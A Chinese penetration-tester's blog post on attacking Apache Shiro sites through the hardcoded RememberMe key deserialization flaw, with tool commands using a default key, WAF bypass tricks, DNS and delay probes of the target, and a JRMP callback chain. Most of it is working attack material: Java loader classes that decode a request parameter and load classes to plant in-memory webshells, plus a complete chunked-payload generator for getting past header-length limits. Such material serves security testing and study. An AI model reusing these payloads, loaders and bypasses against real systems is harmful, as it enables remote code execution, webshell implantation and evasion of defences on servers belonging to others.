一文搞懂Shiro站点打法全思路
一文搞懂Shiro站点打法全思路
前言:
作为以Java反序列化为载体的经典老洞Shiro的RememberMe硬编码反序列化攻击,它在攻防演练中屡见不鲜,帮助攻防人员拿下一个又一个点。今天作为安服仔的笔者介绍Shiro硬编码Key反序列化的经典打法。笔者几次护网中都遇到几次Shiro,也总结了一点许经验,在这里与各位师傅们分享。同时作为安服仔我也造轮子搞了款自用的Java漏洞利用工具,本文章也会介绍自用的工具如何在Shiro中进行漏洞利用的。其实换成其他工具也是一样的道理,重要的是思路。
本文不仅仅限于Shiro,很多情况下Java反序列化黑盒测试也是差不多如此的思路。
思路:
思路章节介绍从网站Shiro的识别到内存马打入的完整思路:
- 目标网站是否使用Shiro:请求包发送Cookie: rememberMe\=1,返回包中出现deleteMe=1则为Shiro
- 加密方式和密钥Key识别:PrincipalCollectionShiroKeyTest
- 利用链/中间件环境/JDK版本确认:FindClassByDNS/FindGadgetByDNS/FindClassByBomb
- 利用链漏洞利用:直接攻击/字节码分离加载/JRMP反连/ShiroChunkPayload分块传输
- Shiro对抗WAF:HTTP请求包变形/Shiro-Base64混淆
1. 判断网站是否使用Shiro
第一步:互联网中任何登录框都可能是Shiro,那么该如何判断是否为Shiro呢?
答案很简单直接在Cookie后面加rememberMe,响应中出现Set-Cookie: rememberMe即为Shiro。像ShiroAttack2和BurpShiroPassiveScan这类工具也是这样判断的

2. 加密方式和密钥Key识别
确定站点为Shiro后,如何测试出它的加密方式和密钥key呢?通过研究发现当Shiro在处理RememberMe时候,如果密钥正确并且反序列化成功返回的是对象是PrincipalCollection,不会触发异常,响应包则不会带上deleteMe的头,所以可以序列化SimplePrincipalCollection对象来测试Shiro的加密方式和key是否正确。学习自:基于SimplePrincipalCollection检测key是否正确
工具YsoSimple:使用PrincipalCollectionShiroKeyTest利用链来检测当前key是否正确
-m YsoAttack -g PrincipalCollectionShiroKeyTest --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
最后响应中没有Set-Cookie: rememberMe=deleteMe;即为AES加密模式和密钥Key均正确

而在实战中通常我们使用ShiroAttack2或者来BurpShiroPassiveScan来批量爆破Shiro的key和加密方式。
3. Shiro对抗WAF
通常情况下遇到以下三种情况可判断为攻击被WAF拦截:
- HTTP请求发出后连接立马被断开
- HTTP响应码为403
- HTTP响应中出现WAF的拦截防护页面
关于Shiro的反序列化绕WAF其实有很多种方式,归类下可以大致分为俩种:
- HTTP请求包变形
- Shiro-Base64编码混淆
3.1 HTTP请求包变形
Shiro的HTTP请求包变形过WAF:
- HTTP请求方式变形
- rememberMe前后加内容
3.1.1 HTTP请求方式变形
将HTTP请求改为PUT,DELETE,OPTIONS,TRACE,XXXX,或者不加都可以正常触发漏洞,这部分原理可以学习c0ny1师傅的shiro反序列化绕WAF之未知HTTP请求方法文章。


3.1.2 rememberMe前后加内容
在rememberMe前后都可添加若干个空格或者Tab来触发漏洞

3.2 Shiro-Base64混淆
Shiro的Base64混淆过WAF:
- Base64内容中混淆脏数据
- Base64后加脏数据
3.2.1 Base64内容中混淆脏数据
Shiro时自己实现的Base64的编码和解码:org.apache.shiro.codec.Base64,它的Base64库对数据进行解密时会先剔除些不合法的特殊字符,简单分析下:
首先发送这样的payload,在Base64编码的字符前面加了俩个$$符,并且注意到在payload最后还有一个"="(这个后面会用到)

调试然后在CookieRememberMeManager这里会先获取rememberMe的字段内容,它会先剔除最后一个=等号之后的内容(所以我们也可以在=后面加脏字符来绕waf),然后再base64解码

进入ensurePadding方法然后再进入Base64#decode的逻辑,关键点就在discardNonBase64方法中

如果对某个字节的isBase64判断结果为false,则不会将其添加到加密的数组groomeData中。

isBase64方法的内容如下:所以只要让base64Alphabet[octect]==-1则可以不进入加密数组中,octect是ascii码值

查了下ascii码表然后再对照base64Alphabet,或许可以填充以下字符来做为脏字符。

最后经过测试Shiro Base64解密会对这些字符进行剔除{'$','#','&','!','%','*','-','.'}
在YsoSimple工具中添加-shiro-base64WafBypas参数并指定垃圾字符的数量来对Base64数据进行混淆,使用如下:
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -shiro-base64WafBypass 150 --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
测试效果:

3.2.2 Base64后加脏数据
通过测试发现在Shiro加密的Base64数据后加一个"="等号然后接各种各样的脏数据都能触发漏洞利用:

这个技巧在leveryd师傅的你的扫描器可以绕过防火墙么?(一)文章中有提及到,php、python、openresty都会不同程度地受Base64变形Payload影响。
3.3 WAF影响的情况
实战中遇到过俩次对PrincipalCollectionShiroKeyTest探测AES密钥和加密方式的Payload拦截的情况,通常我们爆破密钥使用ShiroAttack2或者BurpShiroPassiveScan插件,此类工具没有实现Shiro绕WAF的方式。当实战中PrincipalCollectionShiroKeyTest撞到WAF时,可以把绕WAF的方式补充到工具中然后再去爆破。
4. 利用链/中间件环境/JDK版本确认
第三步:当我们已经确定Shiro的加密方式和Key,这个点没有理由打不下来。这个时候初级安服可能想着工具一键化利用,但是很多工具不能说是完美打点漏洞利用,因为实战中目标环境也许不出网,没有常见利用链,中间件不是常见中间件,JDK也许高版本,Shiro自身Buggy的ClassLoader的坑。当我们用工具稀里糊涂的操作了半天发现内存马没有打进去,这里面出问题的情况可能很多,到时候肯定一头雾水,所以不如在漏洞利用之前我们就把目标站点环境的情况彻底摸清,到时候漏洞利用时就有清晰的思路。
4.1 起手式:URLDNS/FindClassByBomb JDK原生利用链初探
URLDNS:使用URLDNS利用链攻击,当DNS服务器收到请求后证明Shiro反序列化漏洞确系存在并且DNS出网,后续我们使用(FindClassByDNS/FindGadgetByDNS利用链)借助DNS探测目标系统存在的依赖,中间件环境,JDK版本。
URLDNS:以DNS的方式来探测目标是否dns出网,为后续FindGadgetByDNS探测环境做准备。
-m YsoAttack -g URLDNS -a "http://tonjwpkypp.dnsns.cn" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
FindClassByBomb:使用FindClassByBomb利用链攻击,当利用链发出后本次响应后有明显的延迟则证明Shiro反序列化漏洞确系存在,如果上述URLDNS测试完后发现DNS不出网,后续我们可以继续使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。关于FindClassByBomb利用链的原理可以学习c0ny1大师的文章:构造java探测class反序列化gadget
-m YsoAttack -g FindClassByBomb -a "java.lang.String|20" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
4.2 探测环境:FindClassByDNS/FindGadgetByDNS/FindClassByBomb
FindGadgetByDNS:FindClassByDNS和FindGadgetByDNS很类似的,这里介绍FindGadgetByDNS,它可以通过一次性反序列化同时探测目标环境中是否存在某些类,如果这些类存在就会收到这些类相关的DNS请求。关于FindGadgetByDNS利用链的原理可以学习kezibei大师的项目:Urldns
使用的注意事项:如果WAF有拦截或者中间件限制长度情况下,我们注意不能一次性探测太多因为利用链过长会被拦截
该利用的局限性:需要DNS出网
// 使用all探测 FindGadgetByDNS 能探测的所有内容
-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:all"
// 对指定的内容进行探测,用竖杠分割开来
-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:CommonsBeanutils2|C3P0|Fastjson|Jackson"
FindClassByBomb:当利用链发出后本次响应后有明显的延迟则证明探测的类确系存在。如果目标环境DNS不出网,我们可以使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。
-m YsoAttack -g FindClassByBomb -a "org.apache.catalina.core.StandardContext|20"
4.3 需要探测的内容:OS/依赖/中间件/JDK
通常我们需要探测的内容有如下,以及我们为什么探测这些:
Gadget利用链:利用链是我们漏洞利用重要基石,只有目标系统存在该依赖我们才能利用成功
- CB系列:注意CB19x,CB18x,CB16x,CB15x的suid均不相同。Shiro自带CB19
- CC系列:CC10
- C3P0系列:
- Web中间件环境:目标Shiro可能跑在Tomcat/SpringMVC/Undertow/Jetty这种web框架下,不同框架种植不同的内存马
- OS操作系统 windows/linux:后续如果我们分块落地写文件,需要先确定下操作系统
- JDK版本:jdk版本不同Base64的全限定类名也不同,jdk高版本有Module防护模式
更多的探测内容:大佬们依据真实场景自行突破......
5. 利用链漏洞利用
第五步:有了前面的环境探测铺垫,我们已经把目标环境摸得差不多。此部分我们开始使用利用链进行漏洞利用,每个利用链最终会有不同的利用效果,本部分以CommonsBeautils利用链来介绍几种常见的Shiro利用方式。
5.1 利用链简单利用
在已经知晓目标系统依赖的情况下,先通过用dnslog或者sleep的方式测试下,确保我们的利用链能够正常使用,以CommonsBeautils利用链的Templateslmpl模式来举例:
Templateslmpl利用链dnslog出网测试:
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:dnslog:vflbvindls.dnsns.org" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==""
延迟测试:
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:sleep:5" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==""
5.2 直接字节码加载
在目标系统没有任何坑点和限制条件下,直接在HTTP包的rememberMe部分直接发送Payload是最方便的利用方式:
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T2992678354900.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
5.3 JRMP反连攻击
JRMP攻击链的优势如下,可以学习Orange大师的文章:Pwn a CTF Platform with Java JRMP Gadget
优势:JRMPClient利用链Payload很短;能避免Jetty,Weblogic,Tomcat6.0,undertow此类中间件对TemplatesImpl无法反序列化的情况。
缺陷:需要TCP出网;目标系统JDK<8u241
漏洞利用方式分为俩步骤:JRMPListener开启监听,目标系统反序列化JRMPClient2利用链进行反连,目标系统收到JRMPListener发送的序列化数据紧接着反序列化CommonsBeanutils2利用链
- JRMPListener开启RMI服务端监听:
java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.payloads.JRMPListener 2333 CommonsBeanutils2 "Templateslmpl:dnslog:ywsoxsrsvj.dnsns.org"
- 让目标系统反序列化JRMPClient完成攻击:
-m YsoAttack -g JRMPClient2 -a "127.0.0.1:2333" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
5.4 字节码分离加载
在CommonsBeautils利用链的Templateslmpl模式下,因为它载体是代码执行,我们可以通过让TemplatesImpl执行的字节码是个字节码类加载的逻辑,把我们的内存马或真正漏洞利用效果的字节码放在请求体中,达到分离加载的效果。这个能显著减少rememberMe部分的Payload长度,同时漏洞利用也更加灵活。
实战中经常遇到的中间件是Tomcat和SpringMVC,下面我就按照这俩种来展示:
5.4.3 springmvc-shiro字节码分离加载
- 让Templateslmpl利用链加载"请求体参数类加载的字节码"
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464700.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
T96325784464700.class 内容为读取请求参数classData中的Base64数据并解密然后类加载:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import org.apache.shiro.codec.Base64;
public class T96325784464700 extends AbstractTranslet {
public T96325784464700() {
try {
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r = request.getClass().getDeclaredField("request");
r.setAccessible(true);
String classData = request.getParameter("classData");
byte\[\] classBytes = org.apache.shiro.codec.Base64.decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class\[\] {
byte\[\].class, int.class, int.class
}
);
defineClassMethod.setAccessible(true);
Class evilClass = (Class) defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), new Object\[\] {
classBytes, new Integer(0), new Integer(classBytes.length)
}
);
evilClass.newInstance();
} catch (Exception var18) {}
}
}
- 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码

5.4.2 tomcat-shiro字节码分离加载
- 让Templateslmpl利用链加载"请求体参数类加载的字节码"
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464600.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
T96325784464600.class 内容为读取请求参数user中的Base64数据并解密然后类加载:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import org.apache.shiro.codec.Base64;
public class T96325784464600 extends AbstractTranslet {
private static Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public T96325784464600() {
try {
String var3 = null;
boolean var4 = false;
Thread\[\] var5 = (Thread\[\])getFV(Thread.currentThread().getThreadGroup(), "threads");
for(int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5\[var6\];
if (var7 != null) {
String var2 = var7.getName();
if (!var2.contains("exec") && var2.contains("http")) {
Object var1 = getFV(var7, "target");
if (var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception var17) {
continue;
}
List var9 = (List)getFV(var1, "processors");
for(int var10 = 0; var10 < var9.size(); ++var10) {
Object var11 = var9.get(var10);
var1 = getFV(var11, "req");
Object var12 = var1.getClass().getMethod("getNote", Integer.TYPE).invoke(var1, new Integer(1));
var3 = (String)var12.getClass().getMethod("getParameter", String.class).invoke(var12, new String("user"));
if (var3 != null && !var3.isEmpty()) {
byte\[\] var13 = Base64.decode(var3);
Method var14 = ClassLoader.class.getDeclaredMethod("defineClass", byte\[\].class, Integer.TYPE, Integer.TYPE);
var14.setAccessible(true);
Class var15 = (Class)var14.invoke(this.getClass().getClassLoader(), var13, new Integer(0), new Integer(var13.length));
var15.newInstance().equals(var12);
var4 = true;
}
if (var4) {
break;
}
}
}
}
}
}
} catch (Exception var18) {
}
}
}
- 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码

其实从代码中也可以看出这种方式的技术点是获取request对象然后去读取我们设定参数中的内容来类加载,不同的中间件获取request对象的方式不同,这个点要注意...
5.5 分块传输种马
Shiro攻防中还有个经典的问题就是Header的长度限制,通常情况下对Shiro的Header的限制可能是WAF也可能是Tomcat这种中间件。不考虑修改Tomcat的修改MaxHeaderSize和绕WAF的手段,单从缩小Payload长度来做,有什么办法呢?我们经常漏洞利用使用TemplatesImpl模式利用链,它的载体是代码执行,所以操作余地很多,下面介绍这种模式下的分块利用。
首先明白影响我们发送Payload长度的因素,有俩种情况:
- Gadgets利用链的长度:CommonsBeanutils此类利用链是加载AbstractTranslet继承类的字节码来利用的,这块有无办法缩短
- 漏洞利用加载字节码长度:种植内存马时候,它的字节码长度本来就不小,如果嵌入到利用链中就会使Payload变得更长
5.5.1 Gadgets利用链长度缩短
对于TemplatesImpl系列的利用链,学习了下4ra1n师傅的终极Java反序列化Payload缩小技术文章。整理下就是从TemplatesImpl链角度缩小和从加载的字节码角度缩小
TemplatesImpl加载的字节码类缩小手段:
- ByteCodes字节码类中捕获的异常不处理
- LINENUMBER指令删除
- 使用javassist生成字节码
- 删除继承AbstractTranslet类需要重写的俩个方法(使用javassist生成的字节码自动没有重写)
TemplatesImpl链缩小手段:
- 设置_name属性是一个字符
其中_tfactory属性
Gadgets#createCompressTemplatesImpl方法:```java
if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CLASS_FILE)){
classBytes = CommonUtil.readFileByte(command.substring(CustomCommand.COMMAND_CLASS_FILE.length()));
}else if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CLASS_BASE64)){
classBytes = new BASE64Decoder().decodeBuffer(command.substring(CustomCommand.COMMAND_CLASS_BASE64.length()));
} else {
CtClass clazz = classPool.makeClass("C");
clazz.defrost();
String code = TemplatesImplUtil.getCmd(command);
clazz.makeClassInitializer().insertAfter(code);
CtClass superC = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
clazz.getClassFile().setVersionToJava5();
classBytes = clazz.toBytecode();
}
//使用ASM删除LINENUMBER指令
byte[] asmResolveBytes = asmResolveClassBytes(classBytes);
```
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {asmResolveBytes});
Reflections.setFieldValue(templates, "_name", "P"); //设置_name名称可以是一个字符
//其中_tfactory属性可以删除(分析TemplatesImpl得出)
return templates;
### 5.5.2 分块字节码长度
其实最严重的就是我们想要加载的字节码长度太长,从字节码角度其实不太好进行优化缩短。类加载的角度可以从URL进行远程类加载URLClassLoader,也可以读取某个位置的字节码内容然后ClassLoader#defineClass来类加载。所以可以转换思路将字节码分段写在某些位置,然后用类加载器来加载。
字节码写入的位置:分块写字节码并加载,学习bmth666的[Shiro绕过Header长度限制进阶利用](http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/)文章,大师傅介绍了三种方法:
- 落地写文件并加载
- 线程名写字节码并加载
- 设置系统属性写字节码并加载
bmth666师傅文章中把最后的构造过程也提供出来了,稍作修改就可以直接使用。下面是我补充的设置系统属性写字节码并加载
```java
package cn.butler.yso.exploit;
import cn.butler.payloads.ObjectPayload;
import cn.butler.yso.Serializer;
import org.apache.shiro.Encrypt.CbcEncrypt;
import org.apache.shiro.Encrypt.ShiroGCM;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Base64;
public class ShiroChunkPayload {
public static String gadget = "CommonsBeanutils2";
public static String aesModel = "CBC";
public static String shirokey = "kPH+bIxk5D2deZiIxcaaaA==";
public static String fileClassByteCode;
public static String fileOutput;
public static void main(String\[\] args) throws Exception{
// 解析命令行参数
for (int i = 0; i < args.length; i ++ ) {
switch (args\[i\]) {
case "-h":
System.out.println("Usage: java -cp ysoSimple.jar cn.butler.yso.exploit.ShiroChunkPayload \[-g <gadget>\] \[-m <aseModel>\] \[-k <shiroKey>\] \[-f <fileClassByteCode>\] \[-o <fileOutput>\] \[-h\]");
return;
case "-g":
gadget = args\[i+1\];
break;
case "-m":
aesModel = args\[i+1\];
break;
case "-k":
shirokey = args\[i+1\];
break;
case "-f":
fileClassByteCode = args\[i+1\];
break;
case "-o":
fileOutput = args\[i+1\];
break;
}
}
// String gadget = args\[0\];
// String aesModel = args\[1\];
// String shirokey = args\[2\];
// 文件中是字节码的位置
// String fileClassByteCode = args\[3\];
String base64 = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(fileClassByteCode)));
// String fileName = args\[4\];
System.out.println("\[+\] Yso Gadget: " + gadget);
System.out.println("\[+\] Shiro AES Model: " + aesModel);
System.out.println("\[+\] Shiro Key: " + shirokey);
System.out.println("\[+\] Base64 ClassData Length: " + base64.length());
System.out.println("\[+\] Chunk Payload Write To: " + fileOutput);
System.out.println("----------------------------------------");
// 定义每个数据块的大小为1000字符
int groupSize = 1000;
// 获取Base64字符串的长度
int length = base64.length();
// 初始化起始索引为0,表示从字符串的第一个字符开始处理
int startIndex = 0;
// 计算结束索引,确保不超过字符串的总长度,取较小值
int endIndex = Math.min(length, groupSize);
// 分块数量
int a = 1;
//分块设置系统属性的反序列化Gadget生成
System.out.println("\[\*\] 开始生成设置系统属性的Payload:");
while (startIndex < length) {
String group = base64.substring(startIndex, endIndex);
startIndex = endIndex; //ShiroChunk
endIndex = Math.min(startIndex + groupSize, length);
String command = "Templateslmpl:system\_set\_property:" + String.valueOf(a) + ":" + group;
//序列化Gadget
Object gadgetPayload = ysoGadgetGenerate(gadget, command);
//AES加密
String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey);
String describe = String.format("\[\*\] 第 %d 组数据长度为: %d",a,aesEncryptPayload.length());
System.out.println(describe);
System.out.println(aesEncryptPayload);
appendToFile(fileOutput,aesEncryptPayload);
System.out.println("----------------------------------------");
a++;
}
System.out.println(String.format("\[\*\] 写入分块设置系统属性的反序列化Gadget到 %s 中",fileOutput));
System.out.println("----------------------------------------");
//系统属性类加载的反序列化Gadget生成
System.out.println("\[\*\] 开始生成类加载的Payload:");
String command = "Templateslmpl:system\_property\_classloader:" + String.valueOf(a);
//序列化Gadget
Object gadgetPayload = ysoGadgetGenerate(gadget, command);
//AES加密
String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey);
String describe = String.format("\[\*\] 系统属性类加载的反序列化Gadget长度为: %d",aesEncryptPayload.length());
System.out.println(describe);
System.out.println(aesEncryptPayload);
}
/\*\*
\* 生成指定的Yso的Gadget
\* @param gadget
\* @param payload
\* @return
\*/
private static Object ysoGadgetGenerate(String gadget,String payload){
return ObjectPayload.Utils.makePayloadObject("YsoAttack", gadget, payload);
}
/\*\*
\* 序列化Gadget并进行AES加密
\* @param object
\* @param aesModel
\* @param shirokey
\* @return
\* @throws IOException
\*/
private static String aesEncryptGenerate(Object object,String aesModel,String shirokey) throws IOException {
byte\[\] serialize = Serializer.serialize(object);
String encryptPayload = "";
if(aesModel != null && aesModel.equals("GCM")){
//AES-GCM,Base64
ShiroGCM shiroGCM = new ShiroGCM();
encryptPayload = shiroGCM.encrypt(shirokey,serialize);
}else {
//AES-CBC,Base64
CbcEncrypt cbcEncrypt = new CbcEncrypt();
encryptPayload = cbcEncrypt.encrypt(shirokey,serialize);
}
return encryptPayload;
}
/\*\*
\* 将数据追加到文件中,并且每次追加数据时换行
\*
\* @param fileName 文件名
\* @param data 要追加的数据
\*/
public static void appendToFile(String fileName, String data) {
try {
//使用 Files.write() 方法追加数据,并在数据前加上换行符
//StandardOpenOption.CREATE 确保如果文件不存在则会被创建。
//StandardOpenOption.APPEND 确保数据会被追加到文件末尾,而不是覆盖原有内容。
Files.write(Paths.get(fileName),("\\n" + data).getBytes(),StandardOpenOption.CREATE, StandardOpenOption.APPEND);
} catch (IOException e) {
e.printStackTrace();
}
}
}
YsoSimple工具中的TemplatesImplUtil中增加system_set_property和system_property_classloader的场景:
}else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET)) {
String nameAndValue = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET.length());
String\[\] nameAndValueArray = nameAndValue.split(":", 2); // 使用第一个冒号进行切割,限制切割为最多两个部分
cmd = String.format("System.setProperty(\\"%s\\",\\"%s\\");",nameAndValueArray\[0\],nameAndValueArray\[1\]);
}else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER)) {
String systemNumber = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER.length());
int a = Integer.valueOf(systemNumber);
String bytestr ="";
for(int i=1;i<=a-1;i++){
if(i<a-1){
bytestr = bytestr + "System.getProperty(\\""+i+"\\")+";
}else {
bytestr = bytestr + "System.getProperty(\\""+i+"\\");";
}
}
cmd = "{try {\\n" +
"ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\\n" +
"String base64Str = "+bytestr+"\\n" +
"byte\[\] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\\n" +
"java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\\"defineClass\\", new Class\[\]{byte\[\].class,int.class,int.class});\\n" +
"defineClass.setAccessible(true);\\n" +
"Class clazz = (Class)defineClass.invoke(classLoader,new Object\[\]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\\n" +
"clazz.newInstance();\\n" +
"}catch (Exception e){}}";
}
ysoSimple.jar中ShiroChunkPayload使用方式:
java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.exploit.ShiroChunkPayload -g CommonsBeanutils2 -m CBC -k kPH+bIxk5D2deZiIxcaaaA== -f /tmp/HTMLUtil.class -o /tmp/ShiroChunk.txt
使用上述命令后的工具生成的最终效果:

然后将 C:\Users\butler\Desktop\Random\Shiro\ShiroChunk.txt 放入Yakit进行发包,在目标系统中的系统属性中写入字节码

最后发送类加载的Payload将会执行上述的字节码逻辑

上面ShiroChunkPayload生成的分块Payload没有增加Shiro Base64的混淆,所以可能会被WAF针对拦截,这块涉及到绕WAF可以参考前面绕WAF的思路。如果要增加Base64混淆绕WAF,师傅们可以简单改改。
中间件对TemplatesImpl影响(坑点)
实战中有次遇到undertow中间件,经过前期的信息探测确系目标出网且存在CB19x的依赖。但是漏洞利用时候发现无法使用CB的TemplatesImpl利用链攻击,非常的奇怪,因为出网而且目标正好是jdk低版本。最后用JRMPClient2的的反连二次反序列化打进去了。
后来发现有大佬也遇到中间件对TemplatesImpl报错的情况:https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36
目前整理的对TemplatesImpl的利用可能产生影响的中间件:Jetty,Weblogic,Tomcat6.0,undertow
因为只影响CB打TemplatesImpl,所以我们可以切换CB的其他打法进行漏洞利用:CommonsBeanutils-LdapAttribute。CB还有个SignedObject二次反序列化打法,我本地搭建Tomcat6.0对SignedObject反序列化打法测试,发现也是报同样的错误,这个打法也是打不成:

总结:在遇到Jetty,Weblogic,Tomcat6.0,undertow中间件时会遇到TemplatesImpl无法正常利用的情况,我们切换思路可继续漏洞利用:
- JRMPClient反连:JRMP协议的反序列化利用,jdk<8u24。项目中遇到太低的jdk好像也打不了这个(jdk1.6)
CommonsBeanutils-LdapAttribute:ldap注入。这个注意ldap地址必须是:ldap://127.0.0.1:1389/,后面不能加东西
bash -m YsoAttack -g CommonsBeanutils2 -a "LdapAttribute:ldap://127.0.0.1:1389/" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
- C3P0利用链攻击
结尾:
实战中我们可能遇到各种各样的环境,遇到复杂的场景时候必须要明确思路,如果能在本地模拟环境就先在模拟环境把漏洞利用调好,最后到实际环境中去攻防。未完持续......
Reference
https://github.com/B0T1eR/ysoSimple
https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/
https://mp.weixin.qq.com/s/cQCYhBkR95vIVBicA9RR6g
https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ
https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/
https://github.com/kezibei/Urldns
https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/
https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36